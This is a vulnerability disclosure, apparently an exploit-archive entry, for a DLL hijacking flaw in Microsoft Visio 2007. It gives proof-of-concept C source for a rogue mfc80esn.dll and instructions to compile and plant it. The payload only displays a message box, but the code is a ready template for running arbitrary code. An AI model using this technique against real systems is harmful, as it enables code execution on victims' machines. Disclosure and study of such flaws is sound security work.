Microsoft Visio 2007 – ‘mfc80esn.dll’ DLL Loading Arbitrary Code Execution
// source: https://www.securityfocus.com/bid/43914/info Microsoft Visio is prone to a vulnerability that lets attackers execute arbitrary code. An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file. Microsoft Visio 2007 is vulnerable; other versions may also be affected. /* ========================================================= Microsoft Visio 2007 DLL Hijacking Exploit (mfc80esn.dll) ========================================================= $ Program: MS Visio $ Version: 2007 $ Download: http://office.microsoft.com/es-es/downloads/CH010225969.aspx $ Date: 2010/10/08 Found by Pepelux <pepelux[at]enye-sec.org> http://www.pepelux.org eNYe-Sec - www.enye-sec.org Tested on: Windows XP SP2 && Windows XP SP3 How to use : 1> Compile this code as mfc80esn.dll gcc -shared -o mfc80esn.dll thiscode.c 2> Move DLL file to the directory where Visio is installed 3> Open any file recognized by msvisio */ #include <windows.h> #define DllExport __declspec (dllexport) int mes() { MessageBox(0, "DLL Hijacking vulnerable", "Pepelux", MB_OK); return 0; } BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {mes();} |